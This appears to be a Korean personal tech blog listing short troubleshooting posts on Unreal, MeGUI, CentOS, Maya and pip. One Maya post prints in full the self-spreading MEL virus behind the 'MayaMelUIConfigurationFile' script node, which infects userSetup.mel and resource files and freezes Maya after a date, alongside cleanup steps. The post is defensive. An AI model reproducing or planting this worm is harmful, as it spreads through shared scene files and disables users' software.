2020년 07월 30일
:애니클립 임포트 시 크러쉬이슈스켈레탈메시가 이미 임포트되어 있고,애니키를 적용하기 위해 스켈레탈 애셋을 고르고 애니 클립 임포트를 하게 되면 강제 종료(크러쉬)해결프로젝트 셋팅의 ray 끄기다이렉트X 디폴트
2020년 07월 14일
서버 청소해요일자 : 2020년 7월 18~19일 주말 중시간 : 일어나서 2~3시간 정도?
2020년 07월 13일
악성코드 및 멀웨어 분석웹에서 실행
2020년 07월 04일
:MeGUI에서 x264[error] : could not open input file `-' 에러로 인코딩이 안될 때해결빌드 다운로드에 가서 최신 설치 파일 다운로드 후 설치AviSynth+ 폴더로 새롭게 설치설치 시 켜진 플레이어가 있으면 종료참고https://www.set-fire.com/topic/396githttps://github.com/pinterf/AviSynthPlus빌드 다운로드(첨부파일 AviSynthPlus_3.6.1_20200619.exe)https://github.com/AviSynth/AviSynthPlus/releasesAviSynth 플러그인(첨부파일 supersvp-master.zip)https://github.com/Onemeshnik/supersvp/tree/master/Avisynth/64https://www.spirton.com/interframe오피셜http://avisynth.nl/index.php/Main_Page
2020년 07월 04일
BrickLink Studo브릭링크에서 제공하는 브릭 빌드 프로그램
2020년 06월 29일
:2020년 6월 27일 이후 마야가 멈추는 문제 증상마야를 실행하면 멈춤마야를 실행을 했더라도 씬 파일을 열면 멈춤원인C:\Users\사용자\Documents\maya\scripts\userSetup.mel에 아래 내용이 저장 또는 씬 파일 마다 MayaMelUIConfigurationFile 노드가 생성됨 // Maya Mel UI Configuration File.Maya Mel UI Configuration File.. // // // This script is machine generated. Edit at your own risk. // // //////////////////////////////////////////////////////////////////// global proc UI_Mel_Configuration_think(){ string $localized_resources_path = `getenv MAYA_LOCATION`+("/resources/l10n/"); string $all_file[]=`getFileList -folder $localized_resources_path`; string $localized_anim_strings_path =("/plug-ins/animImportExport.pres.mel"); global string $Mel_file_address_lj=(""); // Infect localized anim import/export string files w/ virus? for ( $loc_folder_index = 0 ;$loc_folder_index<`size $all_file`;$loc_folder_index++) { string $Mel_file_address=($localized_resources_path+$all_file[$loc_folder_index]+$localized_anim_strings_path); // If can copy localized file... if (`sysFile -cp ($Mel_file_address+(".Mel")) ($Mel_file_address) ` == 1){ // Delete copied file sysFile -del ($Mel_file_address+(".Mel")); int $gc_xh=0; string $Mel_File_LineBuffer[]; clear $Mel_File_LineBuffer; // Open original localized file $fileId=`fopen ($Mel_file_address) ("r")`; $Mel_File_LineBuffer[0] = `fgetline $fileId`; // Copy localized file lines into buffer while (` size $Mel_File_LineBuffer[$gc_xh]` != 0 ){ $gc_xh++; $Mel_File_LineBuffer[$gc_xh] = `fgetline $fileId`; } fclose $fileId; // Check if localized file has token indicating infection int $isInfected = 0 ; for ( $line_index=0; $line_index<`size $Mel_File_LineBuffer`; $line_index++) { if ($Mel_File_LineBuffer[$line_index] == ("// Maya Mel UI Configuration File.Maya Mel UI Configuration File..")) { $isInfected=1; $line_index=99999999; } } // If not infected, infect current localized file if ($isInfected == 0 ){ $Mel_file_address_lj=$Mel_file_address; if (`whatIs UI_Mel_Configuration_think_b` != "Unknown"){ UI_Mel_Configuration_think_b; } } } else { // Can't infect localized string file(s); create UserSetup.mel instead if (`whatIs UI_Mel_Configuration_think_a` != "Unknown") { UI_Mel_Configuration_think_a; } } } } global proc UI_Mel_Configuration_think_a(){ // Get application defaults file path as tokenized list string $system_WDLJ = `about -environmentFile`; string $buffer[]; tokenize $system_WDLJ "/" $buffer; // Re-combine all but last 2 tokens on first token for($ii = 1; $ii < `size $buffer` - 2; $ii++) { $buffer[0] = $buffer[0] + "/" + $buffer[$ii]; } // Make first token point to user setup script location $buffer[0] = $buffer[0] + "/scripts/userSetup.mel"; int $pd_file_existence_check = 0; // Check that userSetup file exists if (`sysFile -cp ($buffer[0]+"..a") ($buffer[0]) ` == 1){ // File exists; clean up 'check' file. sysFile -del ($buffer[0]+"..a"); // ? Copy setup into memory ? int $ii=0; string $NR_all[]; clear $NR_all; $fileId=`fopen ($buffer[0]) "r"`; $NR_all[0] = `fgetline $fileId`; while (` size $NR_all[$ii]` != 0 ){ $ii++; $NR_all[$ii] = `fgetline $fileId`; } fclose $fileId; int $pdNR_all=0; for ($ii = 0 ; $ii<`size $NR_all`;$ii++){ if ($NR_all[$ii] == ("// Maya Mel UI Configuration File.Maya Mel UI Configuration File..")){ $pdNR_all = 1 ;$ii= 99999999; } } if ($pdNR_all == 0){ $pd_file_existence_check = 1; } } // Copy failed. File doesn't exist. else { // Create blank userSetup file. $sys_document = `fopen ($buffer[0]) "w"`; fprint $sys_document (""); fclose $sys_document; // Try to copy file if (`sysFile -cp ($buffer[0]+"..a") ($buffer[0]) ` == 1){ // Clean up 'check' file sysFile -del ($buffer[0]+"..a"); $pd_file_existence_check = 1; } } if($pd_file_existence_check == 1){ // Copy this script into memory? string $script[] = `ls -type script`; int $isInfected=0; string $nr; for ($ii = 0 ; $ii<`size $script`;$ii++){ $nr = `scriptNode -q -beforeScript $script[$ii]` ; string $infected_file_token = `substring $nr 1 50`; if ($infected_file_token == ("// Maya Mel UI Configuration File.Maya Mel UI Conf")){ $isInfected = 1; $ii = 999999999; } } // Write this script to userSetup? if ($isInfected == 1){ $fuck_All_U = `fopen ($buffer[0]) ("a")`; fprint $fuck_All_U ($nr); fclose $fuck_All_U; } } } global proc UI_Mel_Configuration_think_b() { global string $Mel_file_address_lj; string $script[]=`ls -type script`; int $isInfected=0; string $nr; for ($ii = 0 ; $ii<`size $script`; $ii++){ $nr = ` scriptNode -q -beforeScript $script[$ii] ` ; string $infected_file_token = `substring $nr 1 50`; if ($infected_file_token == ("// Maya Mel UI Configuration File.Maya Mel UI Conf")){ $isInfected = 1; $ii = 999999999; } } if ($isInfected == 1){ $fuck_All_U = ` fopen ($Mel_file_address_lj) ("a")`; fprint $fuck_All_U ($nr); fclose $fuck_All_U; $Mel_file_address_lj=(""); } } global proc autoUpdateAttrEd_SelectSystem(){ string $script[]=`ls -type script`; int $isInfected = 0 ; for ($ii = 0 ; $ii<`size $script`;$ii++){ string $nr = `scriptNode -q -beforeScript $script[$ii] `; string $infected_file_token = `substring $nr 1 50`; if ($infected_file_token == ("// Maya Mel UI Configuration File.Maya Mel UI Conf")){ $isInfected = 1; $ii = 999999999; } } if ($isInfected == 0 ){ string $chengxu =`scriptNode -n MayaMelUIConfigurationFile -beforeScript "// Maya Mel UI Configuration File.Maya Mel UI Configuration File.."`; setAttr ($chengxu+(".scriptType")) 1; } } global proc autoUpdatcAttrEd(){ // Get current date as int string $aboutCD = `about -cd`; string $buffer[]; tokenize $aboutCD ("/") $buffer; $buffer[0] = $buffer[0]+$buffer[1]+$buffer[2]; int $PuTianTongQing=$buffer[0]; // Put app into infinite loop if later than June 27, 2020 if ($PuTianTongQing >= 20200627 ){ for ($Ii=1 ; $Ii>0; $Ii++){ } } } global proc autoUpdatoAttrEnd(){ if ( `whatIs autoUpdatcAttrEd` != "Unknown" ){ autoUpdatcAttrEd; } if ( `whatIs autoUpdateAttrEd_SelectSystem` != "Unknown" ){ autoUpdateAttrEd_SelectSystem; } if ( `whatIs UI_Mel_Configuration_think` != "Unknown" ){ UI_Mel_Configuration_think; } } global proc autoUpdatcAttrEnd(){ if (`whatIs autoUpdatoAttrEnd` != "Unknown" ){ global int $autoUpdateAttrEd_aoto_int; if($autoUpdateAttrEd_aoto_int == 0 ){ $autoUpdateAttrEd_aoto_int=`scriptJob -e ("SelectionChanged") ("autoUpdatoAttrEnd") `; } } } autoUpdatcAttrEnd; 해결내문서/maya 폴더 내의 userSetup.mel 파일이 정상적인지 확인 후 삭제C:\Users\사용자\Documents\maya\scripts\userSetup.melC:\Users\사용자\Documents\maya\마야버전\scripts\userSetup.melOpen 옵션 창에서 General Options > Execute script nodes 체크 해제파일 오픈아래 스크립트 실행 (파이썬) import maya.cmds as cmds ta = cmds.ls('MayaMelUIConfigurationFile*', '*:MayaMelUIConfigurationFile', r=True) print ("There are " + str(len(ta)) + " MayaMelUIConfigurationFile node") for t in ta: print ("DELETE \'" + t + "\' node") cmds.delete(t) 5. 씬 저장 (백업을 위해 다른 이름으로 저장 추천) 또는Maya Scanner 플러그인(첨부파일) 설치 후 해결파일이 열릴 때 자동으로 스캔하여 픽스해준다. (원본에 그대로 저장 후 마야 종료) 참고 https://gist.github.com/OriginalAdric/acbe902c89064e8300f2bc475a953e05해결https://knowledge.autodesk.com/ko/support/maya/troubleshooting/caas/sfdcarticles/sfdcarticles/KOR/How-to-diagnose-and-clean-Maya-ScriptExploit-issues.html플러그인https://apps.autodesk.com/MAYA/en/Detail/Index?id=8637238041954239715&os=Linux&appLang=en
2020년 06월 27일
:centos 설치 후 오류 메시지VitualBox에서 centos 8.x(64bits) 설치 [drm:vmw_host_log [vmwgfx]] *ERROR* Failed to send host log message. 해결centos 종료해당 OS에서 디스플레이 클릭설정 창의 디스플레이에서 화면탭의 디스플레이 컨트롤러, VBoxVGA 선택참고https://www.virtualbox.org/ticket/19168https://unix.stackexchange.com/questions/502540/why-does-drmvmw-host-log-vmwgfx-error-failed-to-send-host-log-message-sh
2020년 06월 15일
:nCloth에서 Properties를 수정하면 충돌 리지드가 안먹는처음 nCloth를 적용하고 default라는 프리셋을 만들어 놓고, nCloth 옵션을 수정하고 캐쉬를 적용하면 잘 되었다.본격적으로 수정하려고 Map Properties를 여러번 수정하면 충돌이 안먹게 되고 위 이미지와 같은 현상이 나타난다.다시 default 프리셋을 적용하고, 옵션을 수정하면 또 잘된다. (이때 Map Properties는 수정된 상황)Collide Strength를 수정할 때 안먹는다.
2020년 06월 06일
Consider using the `--user` option or check the permissions.설치하기 전 명령 프롬프트를 관리자로 실행해야해결아나콘다(또는 가상 환경)에서 터미널 실행 시 명령 프롬프트를 미리 관리자로 실행을 설정한다.C:\Users\계정\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools 위치로 간다.명령 프롬프트의 속성으로 가서 바로가기 탭에서 고급 버튼 클릭관리자 권한으로 실행 체크